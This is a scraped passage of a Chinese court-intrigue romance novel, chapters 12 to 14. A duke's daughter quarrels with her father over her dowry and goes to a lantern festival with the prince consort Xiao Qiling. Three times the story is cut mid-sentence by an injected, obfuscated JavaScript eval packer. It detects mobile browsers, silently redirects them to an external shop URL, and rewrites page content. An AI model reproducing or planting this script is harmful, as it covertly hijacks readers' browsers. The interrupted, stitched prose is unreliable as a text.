“是啊。”郁南卿又坐了回去,一手置在桌上,撩起眼皮看着郁南柔,身上尊贵的王妃制服有萧祁泠先前的下马威,在此刻也显得尊贵无比。
郁南卿弯起眉眼,言笑晏晏:“我入了宁王府,嫁妆自然归属于宁王府,殿下问起来,难不成妹妹要我一力担下吗?我可担不起,这不,只能带殿下来府中亲自查了。”
“那你为何不提前通知我们?”郁南柔像是抓到了郁南卿的把柄,快言道,“爹,要是她提早告知我们,宁王也不会来府中问罪,她分明就是故意的!”
郁秉儒此刻心中乱得很,听郁南柔这么一说,审视般的看向郁南卿。
郁南卿不躲不避,平静的同郁秉儒对视:“爹觉得我有能力向你们报信?那您可太高看我了。”
郁秉儒似乎有些犹豫,郁南柔又喊了他一声:“爹!”
“行了,你们去整理缺漏的嫁妆,务必在宁王离府前一件不缺的整理出来。”郁秉儒冲郁南卿招了下手,“你跟我去书房一趟。”
路过萧祁浚的时候,郁秉儒向他拱了拱手:“宸王殿下,今日臣中家事繁忙,无力招待您,还望您莫怪。”
萧祁浚被萧祁泠拂了面子后也生着一股闷气,闻言不耐烦的摆了下手:“国公爷忙去吧,让南博陪本王便可。”
书房外,郁南卿要进门时,转身对沉香吩咐:“去碧澜轩看看殿下需要什么,别怠慢了。”
沉香拉了下她的袖子,有些担心的看着她:“可是,小姐……”
郁南卿颇为好笑,声音也没避着郁秉儒:“殿下尚在府中,难不成我爹还会对我做什么?快去吧。”
刚进了门的郁秉儒身形一僵。
郁南卿置若罔闻,走进书房后恭恭敬敬的站在书案前,一如出嫁之前:“父亲找我有何事?”
郁秉儒看她前一秒还在拿萧祁泠的势压他,后一秒就如此恭敬,心下顿时警惕,以为郁南卿又要作什么妖,于是指了下旁边的椅凳:“先坐。”
郁南卿受宠若惊:“这么多年来我进爹的书房,还是第一回坐下,宁王妃的待遇果真不一样。”
自然不一样,郁秉儒这小半日看着萧祁泠对郁南卿的纵容,简直连肠子都要毁青了。
按照他原先的想法,以萧祁泠的疯病,他这个女儿嫁过去也活不了多久,新妇出嫁便去了,传出去能彻底坐实萧祁泠的残暴,他也能趁机以思念女儿要回郁南卿生前所有的嫁妆。
可偏偏萧祁泠活了,不仅活了还如此重视郁南卿,这不得不让郁秉儒产生动摇。
“我且问你,如今宁王的病如何了?”
“爹方才不是看到了吗?”郁南卿不答反问。
郁秉儒沉着气,重新问:“我问你,他的毒如何了?”
郁南卿微微挑眉:“爹未免太过迷信,御医都医治不好的病,我一个冲喜之人怎么能冲得好?”
郁秉儒亦觉得有理,对于萧祁泠体内的毒,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13363646|140870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
文景帝让多少宫内宫外的大夫诊治过,皆是一样束手无策,萧祁泠就算有本事贿赂整个太医院,也无法堵住宫外如此多大夫的口。
思及此,郁秉儒心中的那杆动摇的称又偏了回去。
“你的嫁妆之事,确实是为父的疏忽,当日答应你的便是答应你的,今日定然不会再让你受委屈。”
郁南卿随意点了点头,“多谢父亲。”
嫁妆之事轻飘飘的揭过,接下来便是重头戏。
郁秉儒对郁南卿道:“方才叫你过来,除了嫁妆,还有件事需要提点你。”
郁南卿微微挑眉。
郁秉儒脸上的神色变得十分严厉:“你妹妹的话虽莽撞,但并无说错,你是从国公府出去的,国公府倒了于你而言有何好处?宁王如今愿意善待你,不过是看在你国公府女儿的份上,想利用你对付国公府、对付宸王,我一向不同你说朝政,但如今却不得不说了。”
郁南卿眨了眨眼睛,语气无辜:“爹这是何意?朝中禁结党营私,当今圣上正春秋,国公府就迫不及待要拥立宸王了?”
说到这里,郁南卿状似惊吓的拍了拍胸口:“还好女儿已经嫁出去了,到时候就算要被株连九族,也能看在我是宁王妃的份上放过我吧?”
郁秉儒被噎的一顿,待反应过来后,猛地一拍桌子,茶盏发出清脆的晃动声。
“好好好,我倒是小看你了。贵妃与你母亲为姊妹,宸王同国公府亲近又何错之有?没读过几本书,就敢把结党营私这种罪名扣国公府,好,郁南卿,你好得很!”
“我母亲?”郁南卿脸上闪过一丝茫然,而后脸上的笑意缓缓散去了。
她打量着这个书房,已经没有她母亲在世时的半点痕迹,一应陈设皆如掩耳盗铃般被人重新更换。
“我娘早就去了天上,您说的是让您抬妾为正二使得全京城都看不起国公府的李氏吗?”
“长辈的事你无需过问。”郁秉儒听到这个,气势不自主的减了几分。
郁南卿厌烦与他虚与委蛇,开门见山道:“好,作为女儿我无权过问,那作为宁王妃,父亲应该不是把我叫到这里训斥我几句那么简单吧?你想让我做什么?”
“宁王的折子递交给圣上之前,你说服她,将国公府从这件事里摘出去。”郁秉儒看了眼紧闭的门,压低声音,“宁王的病撑不了多久,他若去了,你一个寡妇还是得仰仗国公府,你才多少年岁,何必为了一时意气搭上自己后半生?”
郁南卿的脸色顿时阴沉下去,刚才还含笑的漂亮眸子里此刻翻腾着阴郁与狠戾。
她仰头看向端坐的郁秉儒,殷红的唇轻启:“父亲这是在威胁我?”
“你年纪太小,为父自然要提点你几句,切莫入了歧途。”郁秉儒好像一名慈父谆谆教诲。
他走到郁南卿面前,拍了拍郁南卿的肩,鼓励道:“去吧,切莫让为父失望了。”
走出郁秉儒的书房时,外头起了风,国公府的女眷皆在整理郁南卿剩余的嫁妆,郁南卿独自一人在宅院间走着,风吹得她的身形愈发单薄。
外氅下的双手失了温度,拢在一起也不见半点回温。肩头还残存被郁秉儒触碰过的触感,郁南卿解开大氅狠狠掼到地上,周身凝聚着冰冷的气压。
料峭春寒无孔不入的钻入身体,郁南卿闭了闭眼,眼角因为愤怒而不断抖动,眸中一片阴郁之气。
她刚重生时,妄图以一旨冲喜圣旨来逃避前世的结局,也许会被发疯的萧祁泠咬死,也许熬到萧祁泠死后,她能得到自由天高海阔。
可郁秉儒的一席话却血淋淋的撕开了现实——若是萧祁泠死了,她也无法得到自由。
她这一辈子都将困在国公府的阴影之下,都将与宸王的阵营捆绑在一起。
郁南卿憎恨的盯着自己的双手,这双曾经写出状元之案、画出险境争生布阵图的手。
枉她重活一世,如此浅显的道理,竟然今天被郁秉儒点破,才得以看清。
‘无能为力’四个大字涌上心头,无孔不入的提醒着郁南卿
——等萧祁泠一死,她终究还是要被困在皇权之下,困在四方隅隅之地。
郁南卿的眼中浮上浓浓的厌倦,未施粉黛依旧秾丽的五官失去颜色,仿佛一朵即将枯败凋零的花。
她望着半月前曾落水过的湖面,脚步迈动,缓缓闭上了眼。
脚下踩空的那一刻,肩膀上传来一道极重的拉拽之力,后背猛地撞上粗粝的树干。
“郁南卿,你发什么疯?”
13. 第十三章
繁复的珠钗剧烈摇晃,失去意识前,郁南卿似乎见到了萧祁泠的脸。冷厉的桃花眼直直的盯着她,像是要把她吃了才肯罢休。
好凶。
再醒来时已经日薄西山,瑰丽的夕阳照进屋里,驱散春日的严寒。
郁南卿空洞的眼神渐渐聚了焦,扫过熟悉的摆件,好半会才认出这是她在国公府的碧澜轩。
“醒了?”萧祁泠正坐在不远处,手边的茶盏还冒着丝丝热气。
郁南卿半坐起身,迷迷糊糊地唤:“……殿下?”
“嗯,还认得人就好,看来没傻。”
萧祁泠放下茶盏,走过来将郁南卿打量一番,称赞道,“王妃不愧是大家闺秀人美心善,担心湖中鱼群冬日挨饿,竟主动投湖以身饲鱼,真是可歌可泣。”
郁南卿:……
晕过去前的思绪回笼,郁南卿终于想起来如今是何境地。
她侧头,对上萧祁泠熟悉的冷厉的目光,下意识缩了一下肩膀,小声试探道:“是殿下送我回来的吗?”
萧祁泠‘唔’了声,略带抱歉地道:“当时见王妃在湖边担心得紧,没经过你同意就把你拉了回来,如今想起来倒是我不识趣了,还望王妃莫怪。”
郁南卿脸上的笑意一僵,毛茸茸的脑袋低下去摇了摇:“没有的,殿下做的很对。”
萧祁泠挑起薄唇,桃花眸中褪去厉色眸光轻转,声音含着蛊惑:“可我觉着王妃似乎很想下湖啊。”
郁南卿一时不知道自己该不该想下湖,谨慎顺着萧祁泠提起的‘鱼’接话:“湖中有条五彩锦鲤,我觉得是好兆头,想捉来给殿下添吉头。”
“原来如此。”萧祁泠瞥她一眼,不知是信了还是没信,“下回这种事差下人去做吧,你这身子捉鱼怕是反被鱼拖走。”
郁南卿在心里骂骂咧咧。
萧祁泠好似并未察觉到郁南卿的情绪,起身走到桌边,拿起一枚摆在上头的簪子,在手里拨了两下:“你妹妹差人送过来的,这簪子看着也不稀奇。”
郁南卿第一眼也没认出来,还是端药进来的沉香惊呼了声:“这是那日小姐落水时掉的簪子,四小姐竟然找人打捞上来了?”
萧祁泠望着簪子的眸光更深,也没纠正沉香对郁南卿的称呼:“落水?啊,我想起来了。圣旨来国公府当日,郁三小姐为了不入废太子府,不惜投河明志?”
郁南卿剧烈的咳嗽了声,惊恐的看向沉香:“还有这种传言?”
沉香把药碗往床头边一放,跪了下去:“殿下明鉴,这些传言当不得真啊。”
“也是,毕竟后来又有传言称王妃是被人故意推下水的,瞧我这记性,差点给忘了。”萧祁泠笑了笑,对沉香吩咐道,“起来先出去吧。”
沉香依依不舍的看了郁南卿一眼,将屋门关上。
发簪上的玉在水里泡了数日依旧通透,就连打磨的金丝也极具光泽感,萧祁泠将簪子往郁南卿发间一戴,欣赏了片刻,慢悠悠开口道:“你落水是半个多月前的事,你那个妹妹今日倒是积极,一听说你在湖边崴了脚,急急忙忙差人下水捞簪,生怕你再将她牵扯进来。”
郁南卿难得狐假虎威,主动将功劳都堆在萧祁泠身上:“她哪里是积极,分明是担心殿下怪罪。殿下今日若是不来,他们哪能对我这么恭敬?”
萧祁泠笑了:“确实挺没出息的,容本王取笑片刻。”
“殿下,殿下站着累不累,要不要坐下歇会儿?”萧祁泠再说下去,郁南卿怕自己跳河没死成,反倒会被萧祁泠嘲笑死。
别以为她听不出萧祁泠言语中的奚落之意。
好好的一个姑娘,怎么就不长一张说人话的嘴?
萧祁泠不再逗她,看了眼外头的天色,问:“要留你在国公府多住几日,见见人吗?”
郁南卿直觉萧祁泠说的不是国公府的亲眷:“殿下的意思是?”
“方才关于你落水的传言,其实还有个版本。”萧祁泠漫不经心道,“说王妃不愿接旨是为了宸王,我看方才四弟对你的态度也颇为熟稔,王妃如何看?”
郁南卿没想到还有这种传言,只觉得冤到六月飞雪。她前世对萧祁浚就没生出过半分心思,萧祁浚是她效忠的宸王,至于宸王到底是谁,于她而言并无区别。
“我……”
“来。”萧祁泠在郁南卿说出第一个字是向她招了下手。
郁南卿捏着衣服领子犹豫不决。
难不成萧祁泠想查她是否是清白之身?
郁南卿又往窗外看了一眼,光天化日的……她的双颊倏地通红:“不、不大好吧?”
萧祁泠无视她神色的变化,又说了一遍:“过来。”
郁南卿咬了下唇,犹豫的将身子挪过去。
萧祁泠突然俯下身凑近过来,郁南卿措手不及,一时没坐稳踉跄着腿下一滑,双手借力扑腾,将萧祁泠扑倒了床上。
萧祁泠的外衣松散开,身上带着一股淡淡的沉水香,俯下身来望着她时,那双桃花眸显得异常凌厉。
郁南卿咬了咬下唇:“殿、殿下……”
萧祁泠的目光在郁南卿双目之间逡巡,片刻后,低声笑道:“王妃这副容貌生得极好,若真对宸王有意,想必进宁王府的也不会是你。”
郁南卿仰着头,茫然不已。
萧祁泠伸出手,在她额头轻敲了一下:“听不懂就算了,总归你还小。”
可说她小,郁南卿就不乐意了:“我已经及笄两年了。”
萧祁泠顺着她,语气十分敷衍:“嗯,两年了,要是早早定亲,都能有子嗣了。”
郁南卿听出奚落之意,不满的回嘴:“还不是殿下不行,不然我定给宁王府添十个八个。”
萧祁泠盯着她看了两秒,唇角的笑意忽地漾开:“我倒是没看出来,王妃的本事如此之大?”
郁南卿察觉到气氛缓和,不走心的哼哼唧唧:“殿下谬赞了。”
萧祁泠起了身,身上散开的衣袍被重新整理,不留一丝褶皱,转眼间又恢复成外人眼中那个孤傲冷漠的宁王。
郁南卿拿过旁边半凉的药汤,将勺子往外一拨,闭眼将整碗苦汤喝了下去,将碗放回去时,刚好看到萧祁泠将那份给萧祁浚看过的奏章重新放入袖中。
她犹豫片刻,看向没什么表情的脸:“殿下打算如何处理那夜遇刺之事?”
萧祁泠望过来,似笑非笑:“怎么,你也想学着揣测我的心思?”
她这回没有用‘本王’的自称,语气却更冷了些。
上几个揣测萧祁泠心思的,都在回门宴上得了教训,郁南卿垂眸:“不敢。”
“是你想问,还是咱们那位国公爷想问?”萧祁泠语气稍缓,不置可否,“若是王妃想问,倒也不是不能说。”
郁南卿听她的语气就知道不是什么好事,于是当机立断的摇头:“不,我突然又不想知道了,殿下如何处理都可以。”
萧祁泠唇角微扬:“不想听我说,那不如由你来说?”
萧祁泠的心思难测,她笑着时不一定是高兴,也不一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13363647|140870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定是生气,也许她在这一刻有耐心听郁南卿说几句,下一刻便不想听了。
郁南卿欲言又止,听萧祁泠云淡风轻道:“本王对那条五彩锦鲤十分好奇,若是说错了,就罚王妃跳湖捞一捞鱼吧。”
郁南卿:……
她就知道萧祁泠没信她的话,在这等着她呢。
郁南卿沉默半晌,在萧祁泠越来越紧逼的目光中,缓缓开口:“殿下借我嫁妆之事敲打国公府,国公府当下入了殿下的圈套,但总有一日会反应过来,殿下手中并没有切实指控国公府的证据。”
萧祁泠不喜不怒:“王妃如何得知我没有证据?”
“以殿下的本事,想要留下活口并不难,但那晚殿下下手利落,并无想要证据之心。”郁南卿镇定道,“无论刺客是受何人指派,归根结底不过是想要殿下消失的人。与其费心神去调查究竟是谁,不如让有嫌疑的人替殿下去查。”
“按你这么理解也可以。”萧祁泠似笑非笑,“但我不留活口的真正目的……”
她顿了顿,郁南卿抬起头,轻屏气息。
“是因为太麻烦了。”
郁南卿没想到是这个答案:“麻烦?”
萧祁泠笑了笑,没有解释。
郁南卿摸不准萧祁泠的心思,但萧祁泠没有让她停下,她便只能继续说:“殿下陪我回门,本不需要提及行刺之事,便可以为我拿回剩余的嫁妆,可殿下偏偏将二者联系到一起……因此,臣女斗胆,殿下可是为了我父亲将进的尚书之位?”
萧祁泠脸上的笑意渐渐收拢。
连萧祁浚都未想到这一层,还在执着于大理寺查案、为她查找真正的凶手,可郁南卿已经推断出她的打算。
她在当日没有留下活口,确实是觉得麻烦。
行刺的幕后主使是文景帝,还是他生的任何一个好儿子,又或是朝中如同郁秉儒之类的走狗,于她而言,并无区别。
文景帝不会给她一个确切的公道,大理寺就算查案也不会有所结果。但文景帝不知道她手中究竟有没有证据。
谋的,就是文景帝的耐心。
郁秉儒连亡妻给女儿准备的嫁妆都能克扣,又有何资格坐上礼部尚书之位?
今日之事萧祁浚定然会第一时间告知文景帝,就看龙椅上的那位陛下,敢不敢在这时候封尚书之位了。
屋内一时寂静无声。
萧祁泠淡淡注视着床上的郁南卿,在床边慢慢绕行几步:“郁南卿,本王喜欢聪明的人。”
郁南卿抿了下唇。
她停在郁南卿的身侧,又道:“但本王不喜欢过于聪明的人,尤其那个人还是出自国公府。”
“但殿下没有杀我。”郁南卿缓慢抬头,唇边扬起一抹温和的笑,“我是出身于国公府,可我难不成一辈子都得向着国公府?”
为她讨回娘亲嫁妆的人是萧祁泠,在湖边拉她一把的人也是萧祁泠。
她父亲既然笃定了待萧祁泠去后她的日子不会好过,那不如在萧祁泠离开之前,让国公府的日子更为难过。
一个失了势的国公府,又怎有资格对亲王正妃指手画脚?
萧祁泠冷漠的拒绝了她:“立场不坚定之人,本王不用。”
“可我不是别人啊。”
郁南卿拉过萧祁泠的手,贴到自己的脸颊侧,因倾身而直起的被角滑落至腰际,松散的里衣微微敞开,将她好似一折就断的腰身衬得更脆弱更撩人。
“我是殿下的王妃,殿下难道没有耐心好好调教我吗?”
14.第十四章
萧祁泠眸光微动,眼皮轻轻上跳,带出几分笑意。
这人怎么就以一副柔弱可怜之姿,说尽胆大包天的话语?
真是……
萧祁泠另一只手揽过郁南卿的腰,将其压回床上,语气极宠:“国公府隔墙有耳,不如等回府可好?”
郁南卿的目光下意识往屋门的方向看,一道影影绰绰的人影正向门靠近。
郁南卿垂眸:“当然好啊。”
屋门被轻叩两声,没等到回应后分出一道细缝。萧祁泠修长的手指在这时挑起郁南卿的下巴,俯下头,似是在亲吻。
拉开的缝隙很快被关上,未发出半点动响。
“殿下可猜到门外是何人了?”郁南卿侧了下头,揶揄般的抬头看萧祁泠。
萧祁泠轻笑了两声,笑声极为好听。
在郁南卿耳边道:“自然是值得让本王好好调教王妃的人。”
她提议:“郁国公如此心急,看来是已经将王妃的嫁妆清点完全,我们也该过去看看了。”
郁南卿眼睛一亮:“他们这么快就能将物件找全?”
萧祁泠从床上下来,理了理带有褶皱的衣袍,姿态散漫:“找不全自然会以其他价值相当之物代替。”
嫁妆名册上缺少的物件近乎占去了三分之一,价值不可估量。郁南卿本以为萧祁泠这话只是随口一答,没想到到了前院,郁秉儒还真的额外拿了几份地契来弥补嫁妆上的损失。
“这些是当初娶你娘时给的聘礼,后又被你娘带回国公府。”郁秉儒解释道,“你娘的一些首饰在你娘还在时便破损了,若是还让你带过去,恐怕不大吉利,爹擅作主张将这些调换,你看如何?”
郁秉儒显然是知道了在碧澜轩中发生的事,看出萧祁泠对郁南卿的态度后,试探着绕过萧祁泠,直接同郁南卿商量。
萧祁泠把玩着手上的碧玉扳指,并不计较。
郁秉儒松了口气,看向郁南卿的目光更为温和,好似已经看到萧祁泠将自己的名字从那封奏章上去除。
“这几份地契都离宁王府不远,殿下可喜欢听戏?”郁南卿忽地转头看向萧祁泠。
萧祁泠对上她笑弯的眉眼,像是已经猜到郁南卿要说什么,语气十分纵容:“喜欢。”
郁南卿高兴的一抚掌,提议道:“那我将其中一处作为戏园子可好?看看戏文能让殿下高兴一些,有助于殿下的恢复。”
郁秉儒脸上的笑意渐渐沉下去,戏子向来低人一等,郁南卿将他所赠的园子改成戏园,无异于当众打他的脸。
碍于萧祁泠在场,郁秉儒并没有发作。
偏偏郁南卿还要去他面前找存在感:“爹怎么不说话?方才我还跟殿下提起,爹向来十分看重殿下,绝不可能是把女儿嫁过去后还要暗中刺杀的小人。”
“爹如此敬重殿下,定然不会拂了殿下的兴致吧?”
她每说一句话,郁秉儒的脸色就更难看一分,直到郁秉儒点了头,她才见好就收的向郁秉儒欠身一礼:“那就多谢爹了。”
此行目的已经达到,郁南卿正要道别,目光从郁家众人脸上扫过,才想起另一桩有趣的事。
“二哥哥怎么不来送送我?”
郁南柔替她哥哥回答:“今日鹤仙楼有吟诗会,哥哥和宸王殿下皆去赴了宴。”
郁南卿淡淡的笑了下:“原是如此,府中大伙忙成了一团,二哥哥倒是出去躲闲了。”
李氏已经被扶正多年,在国公府中人人恭称为‘夫人’,就连外面看不惯她被扶妾为正之人,表面上也会和和气气的称一句‘郁夫人’或是‘国公夫人’。
郁南卿这一句‘姨娘’,直接让李氏回到了当初做妾时的光景,郁南柔气得要死,直怼她:“我哥哥才不是出去躲闲,那是作诗交友,你懂什么?”
郁南卿笑道:“我确实不懂,只是感念姨娘如此辛苦操持公府。二哥哥如今将将及冠,姨娘可以替二哥哥物色一个门当户对的贵女,到时候也能帮衬着姨娘。”
“我说什么来着,你啊就是没你姐姐贴心。”李氏拉过郁南柔的手,在掌心拍了拍,“但王妃的好意妾身心领了,南博即将参加春闱,大丈夫志在四方,儿女私情可容后再取。”
她说这话时,眼中有着藏不住的骄傲,好似多年来的背脊都挺直了。
郁南卿状似惊讶的‘啊’了声,勾唇轻笑:“倒是我狭隘了,二哥哥既有鸿鹄之志,我便在此提前祝他金榜题名。”
郁南卿又同国公府众人有说有笑的聊了半柱香,这才随着萧祁泠离府。
去了大红花绸的箱子被安排在她们的马车之后。天色已沉,郁秉儒本想留她们用晚膳,萧祁泠随意找了个借口打发,如今到宁王府,郁南卿的肚子不争气的叫了两声。
萧祁泠的耳力极好:“饿了?”
“在国公府的时候就饿了。”郁南卿的语气中带了一丝抱怨,“国公府难得上这么好的宴席呢。”
萧祁泠冷笑:“我还会差了你这一顿饭?”
郁南卿吧唧了一下嘴,妥协道:“那殿下请进屋吧。”
“去换身衣服。”萧祁泠带着她往后院走,“今日花朝之节,陪本王出去走走。”
郁南卿一愣,忙提起裙摆追上去:“真的?殿下要带我出去?”
萧祁泠不解释:“再多问一句,你就留在府中吧。”
一盏茶的时间后,萧祁泠推开屋门,看到了不知何时等在屋外的郁南卿,白日满头珠钗的王妃将繁复的发髻拆下,只余下前额的修饰,在发尾松松绑了根发带,以固定垂落的青丝。
素雅的装扮压不住绮丽的眉眼,萧祁泠上下打量一番,评价道:“倒也像样。”
萧祁泠自个也换了套简单的装束,避免引人注目。
一辆低调的马车从宁王府缓缓驶出,直奔最为繁华的闹市。
马车内,萧祁泠叮嘱道:“等会儿下了车,不要以殿下称呼我,以免暴露身份。”
郁南卿:“那我该如何称呼?”
周遭人一多,只用‘你’恐怕叫不住人吧?
萧祁泠的桃花眸微挑,在郁南卿脸上转了一圈,兴味道:“本王是官宦之家的公子,你嘛,是本王带出来的丫鬟,就称呼公子吧。”
郁南卿眉心一皱,萧祁泠还等着她张牙舞爪的反驳,却见郁南卿突然乖顺的往她身上靠了靠:“那我就是殿下的暖床丫鬟,在府中时殿下与我夜夜笙歌,出了府还不忘带着我,殿下可是要与我泛舟湖上幕天席地?”
“泛舟湖上,幕天席地。”萧祁泠拖着懒洋洋的调子,手中折扇悠悠一敲郁南卿的眉心,“看来王妃对下水捞鱼之事颇为向往。”
郁南卿拍开萧祁泠的扇子,立刻求饶:“殿下,好殿下,你就饶了我吧。”
萧祁泠收回折扇,心情颇好的扬起唇。
下马车时,萧祁泠托了下郁南卿的手,忽地问起:“卿卿出来玩,可带了铜板?”
民间百姓一年花销也不过几两银子,是以街边之物多以铜板来交易,郁南卿甚至忽略了那个称呼,惊讶道:“你竟然还知道铜板?”
她还以为萧祁泠跟萧祁浚一样,是只知黄金白银的皇室子弟。
“想知道自然会知道,不过……”萧祁泠停下脚步,侧身问她,“卿卿可想好该如何称呼我了?”
郁南卿眨了眨眼:“我不太想唤你公子,也不太想唤你哥哥。”
公主皇子皆可被称为殿下,可其他的称呼,郁南卿在府中见惯了彩衣襦裙的萧祁泠,即使如今对着她一身男装,依旧唤不出口。
“那便不用唤了,跟紧些,别丢了。”萧祁泠似乎心情颇好,没有再计较称呼。
从宁王府到城中闹市,天色已经完全暗下来,整条长街灯火璀璨,花朝的祈福礼在白日已经完成,夜晚便剩下盛大的灯会。
街上行人熙熙攘攘,路边小贩不断叫卖,有卖各色吃食的,有卖奇巧玩件的,欢声笑语不断。河边亮起盏盏花灯,扶柳枝上系着红色的姻缘带子,年轻男女互诉衷肠。
一片繁华之象。
郁南卿已经许久未见过这样的盛京,前世昭和二十三年起,大齐便已大乱,就算是徜于富贵乡的京中权贵,也人人风声鹤唳。
更别提之后的连年战乱,令多少百姓流离失所,这般繁华之景再也不现。
郁南卿望着这样的长街,不禁有些怔神。
直到唇下被贴上一温热柔软之物,郁南卿看着萧祁泠递到嘴边的奶糕,张了张嘴:“我……”
“见你盯着那摊子好久了,想吃买就是了,卿卿万贯家财,难不成连这也要省?”
温热的奶糕将她的思绪拉回现世,周围摩肩接踵,萧祁泠跟她靠得很近,说话时气息若有似无的落在颊边,惹得郁南卿双耳一热。
“你别乱叫……”
“那叫什么?春梅?夏荷?秋菊?冬霜?”
清一色的丫鬟名,郁南卿木着脸:“那还是卿卿吧。”
萧祁泠满意的点头:“乖。”
看在奶糕的份上,郁南卿不与萧祁泠争辩,乖乖咬下一口。糕点虽是奶糕,却并无牛乳的香味,外表纯白,含着一股杏花香,入口时没有王府中糕点即化的口感,却带着一股尘世喧嚣,令人分外踏实。
郁南卿想将另一个分给萧祁泠,却被萧祁泠拒绝,眼神之中的嫌弃之意不予言表。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13364396|140870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
堂堂宁王殿下,自然不能当街就食。
就该为了那层面子被饿死。
反正饿的也不是她,郁南卿看得开,转头往旁边的小摊瞥了眼,就被那小贩逮住。
“这位姑娘,买个面具吧,花神娘娘定会保佑你遇到一段好姻缘!”
郁南卿抬眼扫向他身后架子上的几排面具,大齐民风相对开放,一些热闹的节日,未婚男女皆会上街游玩,戴上面具既可隐藏自己的身份,也能在面具揭开时带给人惊喜感。
因此,各节日的花灯会,街上皆有不少人佩戴面具,憧憬遇见天命之人。
郁南卿就近拿起一个面具,正要对萧祁泠招手,一个狐狸面具率先被扣在了她的脸上。
郁南卿不满的挣扎:“你给我戴了什么啊?”
“青面獠牙的野兽。”萧祁泠随手付了铜板,“很适合你,走吧。”
郁南卿一听青面獠牙就不满:“我可没那么凶,给你戴还差不多吧?”
人人皆传废太子为人暴戾不堪,尤其在身中奇毒后日日杀人饮血。但无人敢将此事拿到萧祁泠面前去说,郁南卿还是第一个。
萧祁泠脚步停下,转身微微笑:“卿卿今日的胆子愈发大了。”
四周人声鼎沸,气氛热闹,唯有二人之间的空气都仿佛凝滞在了一起,静得吓人,周围的一切渐渐被割离开,仿佛只剩下了她们二人。
熟悉的压迫感再一次袭来。以她这几日对萧祁泠的了解,萧祁泠向来举止从容优雅,极少动怒,只是她越是轻描淡写,便越是靠近动怒的边缘。
郁南卿的唇猛地一抿。
“但怎么还是如此不经吓?”在郁南卿快到极限之时,萧祁泠语气温和的开了口,眉眼间重新染上切实的笑意。
她又给摊主抛了两枚铜板,拿过同款的狐狸面具戴在自己脸上:“前面有家酒楼,陪我去吃点东西。”
直到萧祁泠走出两步,郁南卿缓缓将面具摘下,才发现是只憨态可掬的小狐狸,心头陡然一松,抬步跟了上去。
直到来到酒楼外,郁南卿才看清酒楼的牌匾:鹤仙楼。
——也是郁南博与萧祁浚参加诗会所在之处。
进楼时郁南卿先看到从里头出来的萧祁浚和郁南博,拉着萧祁泠快速往旁边一避。
郁南博走在前头,萧祁浚在后面跟着:“二郎,你走慢些,等等我。”
郁南博的脚步越走越快,看起来丝毫不像萧祁浚的伴读,郁南卿若有所思,扯了下萧祁泠的袖子提议道:“我们过去看看?”
萧祁泠看着她,没说话。
郁南卿又扯了扯萧祁泠的袖子,压低音软声求:“殿下就陪我去看看吧,万一他们说的是什么要紧之事呢?”
萧祁泠又看了她两眼,带着人跟了上去。
萧祁浚和郁南博穿过人群,一路走到河边的无人之地才堪堪停下,郁南卿跟萧祁泠躲在一棵垂柳之后,四周寂静无声。
“卫云翰那厮今日就是故意给我难堪,殿下今日难道还要护着他吗?”郁南博扬起的声音传入耳中。
“他出自卫家,同阁老是一个性子,清贵之家,不沾私权,就连我父皇也拿他们没办法。”萧祁浚宽声安慰,“再者你春闱的名额已到手,何须管他说些什么?我父皇如此欣赏你,只要你能站到金銮殿上,何愁被他压上一头?”
郁南博神色微动,迟疑道:“真的不会出问题吗?”
“你且放宽心去考,你如今是我伴读,只待考中,将来必是要入内阁辅佐我的。”
说话声暂消,郁南卿疑惑的转过头去看,一只手先遮住了她的眼睛。
“别看。”
郁南卿被挡去了视线,下意识伸手胡乱的抓,垂下的柳丝剧烈晃动,挂在上面的祈愿牌应声掉落。
‘啪——’
“谁在那边?”
萧祁浚和郁南博边说边往垂柳的方向走。
萧祁泠的眸中闪过一丝厉色,被袖遮挡的手指缓缓摩挲。
那边的脚步越来越近,郁南卿心口狂跳不止,她思索一瞬,果断掐了下自己的胳膊,迅速逼出眼泪,作潸然抽泣状:“官人饶了我吧……够、够了。”
萧祁浚和郁南博的脚步停了下来。
与此同时,萧祁泠眉心狠狠一皱,看向郁南卿的目光像是下一秒就要把她扔进湖里喂鱼。
郁南卿鉴于刚在萧祁泠那吃的闷亏,主动往柳树上一靠,被风吹得飘扬的宽袖伴着柳丝剧烈晃动,好像遭受了什么难以忍受的淫.刑。
在脚步声再度靠近前,她转身勾上萧祁泠的肩,在萧祁泠耳边低声哀求:“官人,我真的受不住了……”